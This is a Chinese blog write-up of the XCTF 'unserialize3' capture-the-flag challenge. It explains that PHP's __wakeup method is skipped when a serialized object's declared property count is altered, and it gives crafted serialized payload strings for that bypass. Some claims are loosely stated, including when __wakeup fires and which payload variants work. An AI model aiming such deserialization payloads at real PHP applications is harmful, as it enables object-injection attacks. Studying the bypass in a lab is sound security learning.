攻防世界-unserialize3

首先获取环境:

准备环境:firefox浏览器、phpstudy

浏览网站:

 

 

 根据题目提示,这是一道反序列化题,通过输入code,以GET形式传参;

说说魔法函数__wakeup():

__wakeup触发于unserialize()调用之前,但是如果被反序列化的字符串其中对应的对象的属性发生变化时,会导致反序列化失败,从而使得__wakeup()失效;

 从题中,上代码理解:

根据题意对以知类进行序列化:

<?php

class xctf{public $flag = '111';}

$b=new xctf();

echo serialize($b);

?>

 

 

 得到:O:4:"xctf":1:{s:4:"flag";s:3:"111";}

构造pyload:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 或  O:1:"xctf":1:{s:4:"flag";s:3:"111";} 或 O:4:"xctf":1:{s:1:"flag";s:3:"111";} 都可以

        

拿到flag:

 

 

后面的话,我单写一篇关于魔法函数__wakeup()失效引发的漏洞;

 

 

posted @ 2020-08-13 12:29  友好邻居  阅读(733)  评论(0编辑  收藏  举报